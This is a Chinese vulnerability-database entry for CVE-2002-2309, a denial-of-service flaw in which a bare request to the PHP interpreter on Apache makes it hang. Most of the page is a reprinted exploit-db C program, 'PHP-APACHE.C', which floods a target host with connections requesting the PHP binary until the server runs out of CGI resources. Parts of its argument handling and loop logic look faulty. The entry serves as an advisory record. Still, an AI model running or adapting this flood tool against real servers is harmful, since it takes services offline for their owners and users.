PHP Interpreter Direct Invocation服务拒绝漏洞

PHP Interpreter Direct Invocation服务拒绝漏洞

漏洞ID 1106863 漏洞类型 资源管理错误
发布时间 2002-07-22 更新时间 2002-12-31
图片[1]-PHP Interpreter Direct Invocation服务拒绝漏洞-安全小百科CVE编号 CVE-2002-2309
图片[2]-PHP Interpreter Direct Invocation服务拒绝漏洞-安全小百科CNNVD-ID CNNVD-200212-269
漏洞平台 Unix CVSS评分 7.8
|漏洞来源
https://www.exploit-db.com/exploits/21632
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-269
|漏洞详情
PHP3.0到4.2.2版本php.exe,当在Apache上运行时不正确地终止。远程攻击者借助无需参数直接请求导致服务拒绝。
|漏洞EXP
source: http://www.securityfocus.com/bid/5280/info

It is possible, under some circumstances, for remote attackers to invoke the PHP interpreter from the web. If the interpreter is invoked with no command line options, it will hang. Attackers may exploit this condition to cause a denial of service.

This is reported to be a problem with PHP and Apache on Microsoft Windows platforms. It may be possible to create this condition in other environments as well.


/* PHP-APACHE.C
 * By Matthew Murphy
 * Exhaust CGI Resources via PHP on Apache
 * 
 * Calling PHP with no parameters causes it to
 * never terminate; the process must be killed
 * by the server, the OS, or the admin.
 *
 * PHP on Apache requires you to configure a
 * virtual to load PHP out of.  PHP implements
 * a "cgi.force_redirect" value to require that
 * a certain environment variable be set to
 * allow PHP to run further.
 *
 * However, an empty command-line *still* will
 * cause PHP to hang.  If a remote user does
 * this for a lengthy amount of time, the server
 * may no longer launch PHP or other server-side
 * components.
 *
 * NOTE: The vulnerable config is on Apache,
 * but other servers can still be exploited
 * if they offer PHP.EXE (or an SAPI) directly.
 *
 * Usage: php-apache <host> [phpbin] [port] [maxsocks] 
*/

#include <stdio.h>
#include <string.h>

#ifdef _WIN32
#define _WINSOCKAPI_			/* Fix for Winsock.h redef errors 
*/
#include <winsock2.h>			/* WinSock API calls... */
#define WSA_VER		0x0101		/* WinSock ver. to use */
#pragma comment(lib, "wsock32.lib")	/* Check your compiler's docs... 
*/
#else
#include <signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif

#define DEF_PHP		"/php/php"	/* This is used as the PHP
					 * path if one isn't set
					*/

static char php_buf[] = "GET %s HTTP/1.0x0dx0ax0dx0a";

void main(int argc, char *argv[]) {
	char host[257];
	char binpath[257];
	int maxsocks;
	char request[300];
	unsigned short port;
	struct hostent *he;
	struct sockaddr_in sa_in;
#ifdef _WIN32
	WSADATA wsa_prov;
	SOCKET s;
#else
	int s;
#endif
	printf("PHP-APACHE.C by Matthew Murphyx0dx0a");
	printf("Exhausting CGI resources w/ PHP on 
Apachex0dx0ax0dx0a");
	maxsocks = 0;
	strcpy(&binpath[0], DEF_PHP);
#ifdef _WIN32
	if (!WSAStartup(WSA_VER, &wsa_prov) == 0) {
		printf("ERROR: Windows Sockets init failed!");
		exit(1);
	}
#endif
	port = (unsigned short)htons(80);
	switch (argc) {
	case 5:
		maxsocks = atoi(argv[4]);
	case 4:
		port = htons((unsigned short)atoi(argv[2]));
	case 3:
		if (strlen(argv[2]) > 256) {
			printf("ERROR: 256 char path limit exceeded in 
'phpbin' argument.");
			exit(1);
		}
		strcpy(&binpath[0], argv[2]);
	case 2:
		if (strlen(argv[1]) > 256) {
			printf("ERROR: No host should be over 256 
chars!");
			exit(1);
		}
		strcpy(&host[0], argv[1]);
		break;
	default:
		printf("Usage: php-apache <host> [port] [maxsocks] 
[phpbin]x0dx0ax0dx0ahost - The IP/DNS name to attackx0dx0aport - The 
port the HTTP service normally runs on (default: 80)x0dx0amaxsocks - The 
maximum number of connections to establish (creates a finite flood).  A 
zero value means continue until termination (default: 0)x0dx0aphpbin - 
The virtual path to the PHP binary (e.g, /php/php[.exe]; default: 
/php/php)");
		exit(0);
	}
	if (maxsocks == 0) {
		maxsocks--;
	}
	sa_in.sin_family = AF_INET;
	sa_in.sin_port = (unsigned short)port;
	he = gethostbyname(&host[0]);
	if (he == NULL) {
		printf("ERROR: DNS resolution failed, or unknown host.");
		exit(1);
	}
#ifdef _WIN32
	sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long 
*)he->h_addr;
#else
	sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long 
*)he->h_addr;
#endif
	sprintf(&request[0], &php_buf[0], &binpath[0]);
	while (!maxsocks == 0) {
		s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
		if (s < 0) {
			printf("Couldn't create socket...x0dx0aIf you 
continue to receive this error, terminate the program.");
		} else {
			if (!connect(s, (const struct sockaddr FAR 
*)&sa_in, sizeof(struct sockaddr_in)) == 0) {
				printf("Couldn't connect...x0dx0aIf you 
continue to receive this error, terminate the program.");
			} else {
				send(s, (char FAR *)&request[0], 
strlen(&request[0]), 0);

/* If the exploit isn't using up server resources
 * try removing this -- the server may be killing
 * the CGI after a disconnect.
*/

#ifdef _WIN32
				shutdown(s, SD_BOTH);
				closesocket(s);
#else
				close(s);
#endif
			}
		}
		if (!maxsocks == -1) {
			maxsocks--;
		}
	}
	return;
}
|参考资料

来源:BID
名称:5280
链接:http://www.securityfocus.com/bid/5280
来源:XF
名称:php-no-argument-dos(9646)
链接:http://www.iss.net/security_center/static/9646.php

相关推荐: KaZaA Media Desktop Large Message服务拒绝漏洞

KaZaA Media Desktop Large Message服务拒绝漏洞 漏洞ID 1106875 漏洞类型 资源管理错误 发布时间 2002-07-25 更新时间 2002-12-31 CVE编号 CVE-2002-2306 CNNVD-ID CNNV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享